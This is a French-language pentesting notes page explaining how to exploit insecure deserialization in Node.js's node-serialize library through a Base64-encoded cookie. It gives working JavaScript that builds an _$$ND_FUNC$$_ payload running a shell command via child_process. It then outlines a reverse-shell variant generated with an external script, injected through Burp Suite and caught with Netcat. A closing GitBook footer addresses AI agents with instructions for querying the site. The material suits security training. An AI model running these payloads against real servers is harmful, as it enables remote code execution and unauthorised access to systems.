> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/deserialization-attack/node.js-deserialization-base64-pentesting-web.md).

# Désérialisation Node.js Base64

## Désérialisation (node.js)

Avec Burp Suite, interceptez la requête et trouvez un **cookie encodé en Base64**:

<figure><img src="/files/da571dfaf41949cf58e3235d511a19bd1bd6c733" alt="" width="563"><figcaption></figcaption></figure>

### **Manuel :**

Le **serialize.js** le fichier ci-dessous sérialise les données et exécute une commande, dans ce cas `id`, sur **notre machine**:

```javascript
var y = {
 rthis: function(){
 require('child_process').exec('id', function(error, stdout, stderr) { console.log(stdout) });
 }(),
}
var serialize = require('node-serialize');
console.log("Sérialisé : /n" + serialize.serialize(y));

```

<figure><img src="/files/acb2c43342b3de196c3c1803a5b7d8a14c687a8b" alt="" width="534"><figcaption></figcaption></figure>

Pour envoyer la charge utile à la **serveur**, créez le **unserialize.js** fichier ci-dessous :

```javascript
var serialize = require('node-serialize');
var payload = '{"rce":"_$$ND_FUNC$$_function(){require(/'child_process/').exec(/'id/', function(error, stdout, stderr) { console.log(stdout) });}()"}';
serialize.unserialize(payload);

```

<figure><img src="/files/5f763ed8098af2d96d40a3b7c505b38bb67306e5" alt="" width="536"><figcaption></figcaption></figure>

### **Automatiquement :**

Utilisez ceci [le script](https://raw.githubusercontent.com/ajinabraham/Node.Js-Security-Course/master/nodejsshell.py), téléversez-le et exécutez-le avec **python2.7**:

<figure><img src="/files/8925615213ed486de9b55047c6cd88f7c576e85a" alt="" width="563"><figcaption></figcaption></figure>

Créez un fichier nommé `données` avec le contenu ci-dessous, et remplacez **input** par le contenu du script :

```json
{"rce":"_$$ND_FUNC$$_function(){input}()"}

```

<figure><img src="/files/dd013b5aba0b700c626629f4cbcb52d12e0a6259" alt="" width="563"><figcaption></figcaption></figure>

Enfin, convertissez ce fichier en **Base64**:

<figure><img src="/files/61507c7989c9af3ae229896564edbe94b717db1d" alt="" width="563"><figcaption></figcaption></figure>

Collez le contenu dans Burp Suite :

<figure><img src="/files/783ae61b4e6a8423d42d34cb7813b3ff69c9e6b0" alt="" width="563"><figcaption></figcaption></figure>

Avec **Netcat**, écoutez et obtenez l'accès :

<figure><img src="/files/781ea236ca5894cfdb6d7dea647b69e1abfd066c" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web-vulnerabilities/deserialization-attack/node.js-deserialization-base64-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
